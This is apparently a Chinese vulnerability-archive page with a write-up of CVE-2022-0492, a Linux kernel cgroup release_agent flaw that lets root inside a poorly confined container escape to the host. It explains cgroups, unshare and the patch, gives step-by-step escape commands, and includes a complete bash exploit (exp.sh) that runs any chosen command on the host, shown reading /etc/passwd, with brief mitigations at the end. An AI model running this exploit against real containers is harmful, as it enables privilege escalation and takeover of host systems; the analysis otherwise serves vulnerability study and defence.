关联漏洞
标题:
Linux kernel 授权问题漏洞
(CVE-2022-0492)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在授权问题漏洞,该漏洞源于软件对用权限限制存在问题。攻击者可利用该漏洞可以通过Cgroups Release Agent 绕过Linux内核的限制,以升级他的权限。
描述
CVE-2022-0492 EXP and Analysis write up
介绍
# CVE-2022-0492 容器逃逸分析
[toc]
## 漏洞简介
漏洞编号: CVE-2022-0492
漏洞产品: linux kernel - cgroup
影响版本: ~linux kernel 5.17-rc3
漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机
## 环境搭建
在存在漏洞版本的内核的linux中使用docker 即可。
```shell
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
本文用docker 做为实验环境。
## 漏洞原理与相关知识
该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了,不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。
### 漏洞发生点
分析补丁,patch 了`cgroup_release_agent_write` 函数,增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了:

所以确定该漏洞为失效的访问控制。
### cgroup 简介
cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)。
cgroup 有如下子系统:
1. `devices` 进程范围设备权限
2. `cpuset` 分配进程可使用的 CPU数和内存节点
3. `cpu` 控制CPU占有率
4. `cpuacct` 统计CPU使用情况,例如运行时间,throttled时间
5. memory 限制内存的使用上限
6. `freezer` 暂停 Cgroup 中的进程
7. `net_cls` 配合 tc(traffic controller)限制网络带宽
8. `net_prio` 设置进程的网络流量优先级
9. `huge_tlb` 限制 HugeTLB 的使用
10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测
宿主机中的cgroup 都在`/sys/fs/cgroup` 下,可以看到各个cgroup 子系统:

docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup:

主机docker 目录中的对应容器名节点,一模一样:

#### cgroup 使用
cgroup 是通过文件系统的形势来使用的,通过`mount` 将cgroup 挂在到一个目录,cgroup 通过VFS虚拟文件系统和我们交互,cgroup 的接口通过文件的形势呈现,直接使用文件的操作方式对cgroup进行一些参数的设置。
```
mount -t cgroup -o memory cgroup /tmp/testcgroup
```

可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。
#### release_agent
cgroup的每一个subsystem都有参数`notify_on_release`,这个参数值是`Boolean`型,1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1),当cgroup不再包含任何任务时(即cgroup 中最后一个进程退出的时候,cgroup的`tasks`文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。

漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。
### unshare 命令
`unshare` 命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。**

## 漏洞利用
本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。
### 利用条件
漏洞利用条件和传统release_agent 逃逸的利用条件区别是:
**传统release_agent**:容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。
**cve-2022-0492**:容器裸奔(更细化一点就是seccomp 不禁用`unshare`,apparmor 不开启cgroup只读,关闭selinux),获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。
值得一提的是,docker 的apparmor 默认会开启cgroup 只读,docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。
**漏洞修复后**:根据补丁的代码:

想要修改release_agent 文件需要具备两个条件:
1. 是根命名空间
2. 拥有CAP_SYS_ADMIN cap权限
所以在漏洞修复之后,通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。
### 漏洞利用
#### 获得CAP_SYS_ADMIN
如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器),则带有CAP_SYS_ADMIN权限,则不需要我们额外获取,如如下启动命令:
```sh
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令:
```sh
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
没有CAP_SYS_ADMIN,通过如下`unshare` 命令获得CAP_SYS_ADMIN权限:
```shell
unshare -UrmC --propagation=unchanged bash
```
新获得的命名空间拥有全部的capbilities权限。

#### mount cgroup与获取容器在宿主机中的路径
将cgroup mount到一个目录,这一步由于用到了`mount `,所以需要CAP_SYS_ADMIN 权限,经过上一步,我们或自带CAP_SYS_ADMIN,要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外,我们还需要在刚`mount `的cgroup 中创建一个cgroup节点,方便后续我们做清空task 的操作:
```sh
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
```
**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。**
通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息,`upperdir` 就是容器根目录在宿主机上的绝对路径:

通过如下命令可以获取:
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```
#### 修改release_agent 触发逃逸
将`notify_on_release`设置为1,开启task 进程清空后执行release_agent功能:
```sh
echo 1 > /tmp/testcgroup/x/notify_no_release
```
创建release_agent 触发时执行的文件:
```sh
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
```
修改release_agent ,指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径):
```sh
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
```
接下来向x cgroup 节点中输入一个任务,将自己所属的sh 的pid 写入cgroup.procs。
```sh
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
```
sh 命令只执行了一个`echo` 指令,一瞬间就会结束,那么x cgroup 节点中就没有任何任务了,触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功:

### exp
根据流程写了个exp:
```shell
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
```
直接运行,接一个你想逃逸执行的命令作为参数:如:`./exp.sh "cat /etc/passwd"`
逃逸成功:

## 缓解措施
docker 默认状态是开启seccomp 和apparmor 的,漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施,需要手动开启seccomp 和apparmor 或selinux。
## 参考
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
除此之外还问了参与挖这个漏洞的人
文件快照
[4.0K] /data/pocs/e1a80c8be9b63bd9f147930b25b35996618f71ff
├── [2.0K] exp.sh
├── [4.0K] img
│ ├── [8.8K] image-20220310201629995.png
│ ├── [8.3K] image-20220311102635204.png
│ ├── [ 14K] image-20220311104701790.png
│ ├── [ 27K] image-20220311110810458.png
│ ├── [ 15K] image-20220311111853198.png
│ ├── [6.7K] image-20220311113636040.png
│ ├── [ 16K] image-20220311113811776.png
│ ├── [ 18K] image-20220311113853019.png
│ ├── [4.3K] image-20220311114011979.png
│ ├── [4.3K] image-20220311114023546.png
│ └── [ 16K] image-20220311153511050.png
└── [ 11K] README.md
1 directory, 13 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。